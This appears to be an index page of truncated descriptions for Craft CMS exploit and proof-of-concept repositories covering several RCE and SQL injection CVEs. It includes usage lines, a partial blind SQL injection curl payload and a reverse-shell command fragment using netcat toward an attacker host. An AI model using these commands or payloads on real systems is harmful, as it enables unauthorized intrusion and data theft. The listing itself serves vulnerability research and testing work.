CraftCMS_CVE-2023-41892

Craft CMS CVE-2023-41892 There is a Unauthenticated Remote Code Execution RCE affecting CraftCMS 4.0.0-RC1 - 4.4.14. Usage python3 craft-cms.py http://target Requirements The exploit make use of requests. Install it with : python3 -m pip install requests Acknowledgements...

Craft CMS < 4.18.9, < 5.11.2 - Unauthenticated SQL Injection

Craft CMS 4.18.9, 5.11.2 contain an unauthenticated SQL injection caused by unsanitized concatenation of the attribute parameter in the element search endpoint, letting remote attackers read and write the database to gain administrator access, exploit requires no authentication. id: CVE-2026-1234...

Craft CMS - Remote Code Execution via Template Path Manipulation

This template identifies a critical Remote Code Execution RCE vulnerability in Craft CMS, identified as GHSA-2p6p-9rc9-62j9. The vulnerability exists due to improper handling of the --templatesPath query parameter, allowing attackers to execute arbitrary code by referencing malicious Twig...

CVE-2023-41892

CVE-2023-41892 - Craft CMS Remote Code Execution RCE referensi: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...

CVE-2018-14716

CVE-2018-14716 PoC for CVE-2018-14716 Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection Date: 2018-07-20 Software Link: https://github.com/nystudio107/craft-seomatic Exploit Author: Sebastian Kriesten 0xB455 Contact: https://twitter.com/0xB455 CVE: CVE-2018-14716...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 A POC lab environment for CVE-2024-56145 CraftCMS RCE. Vulnerability Description A potential RCE vulnerability is found in craftCMS if the registerargcargv option is enabled in php.ini. This is a POC lab environment where you can reproduce and exploit the bug. The ful...

CVE-2023-41892_PoC

CVE-2023-41892 Craft CMS PoC This repository contains proof-of-concept scripts and a local Vulhub lab for reproducing CVE-2023-41892, a pre-authenticated remote code execution vulnerability in Craft CMS. Use this project only in an authorized local lab or other systems where you have explicit...

Craftcms-PoC-CVE-2026-31266

CVE-2026-31266 - Craft CMS Missing Authorization CVE Information Field| Value ---|--- CVE ID| CVE-2026-31266 Vendor| Pixel & Tonic Product| Craft CMS Affected Versions| self::ALLOWANONYMOUSLIVE | self::ALLOWANONYMOUSOFFLINE, ; Proof of Concept With allowAdminChanges=false curl -X POST...

CVE-2026-44011-poc

CVE-2026-44011: Craft CMS authenticated RCE PoC This Python script adapts the attack described in the Craft CMS security advisory. An authenticated Craft user can reach a vulnerable field-layout configuration path and cause the server to execute commands. Scope and requirements Affected versions...

CVE-2023-41892

CVE-2023-41892 A Craft CMS vulnerability that allows Remote Code Execution RCE...

CVE-2025-32432

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit for unauthenticated remote code execution in Craft CMS, written in Go. Inspired by the original work of c0gnit00. How it works 1. Gets the PHP session and CSRF token via GET /admin/login 2. Poisons the PHP session file by injecting PHP code into the...

CVE-2025-32432

CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC Working proof-of-concept for CVE-2025-32432 , an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 also affects 4.x and 3.x trees on equivalent code paths. Search keywords: CVE-2025-32432, Craft...

CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit Author: P34NUT2 Vulnerability: Remote Code Execution Pre-Authenticated in Craft CMS CVE: CVE-2025-32432 Target: Any vulnerable Craft CMS instance 3.x / 4.x / 5.x — tested on Hack The Box: Orion ⚠️ Disclaimer This tool is provided strictly for...

craftcms-vcard-exploit

Craft CMS vCard Plugin Deserialization Vulnerability Craft CMS has a plugin for downloading contacts in a .vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github Description This plugin takes a parameter sent by the client, decrypts...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 Single-Target PoC Authorized testing only. This repository is intended for controlled lab environments, CTF platforms such as Hack The Box, internal validation, and defensive verification. Do not run this against systems you do not own or have explicit permission to test...

CVE-2026-92592

CVE-2026-92592: Craft CMS authenticated RCE Proof of concept for CVE-2026-92592 / GHSA-5r92-75j8-c534. Craft signs attacker-controlled data in the authenticated license-shun cookie with the same key and format used for signed login redirects. Reusing that signed value as a redirect causes Craft t...

VulnCheck KEV: CVE-2026-123488

Craft CMS 4.0.0 before 4.18.9 and 5.0.0 before 5.11.2 contains an unauthenticated SQL injection vulnerability in the element search endpoint because the attribute parameter is concatenated into the query unsanitized and emulated PDO prepares allow stacked statements. Remote attackers can read and...

Craft-CMS-Exploit

This python script exploits the Remote Code Execution vulnerability CVE-2023-41892 of the Craft CMS, which is a popular content management system. Versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, like a PHP reverse shell...

CVE-2024-37843-POC

CVE-2024-37843-POC POC for CVE-2024-37843. Craft CMS time-based blind SQLi Details available in blog POC curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...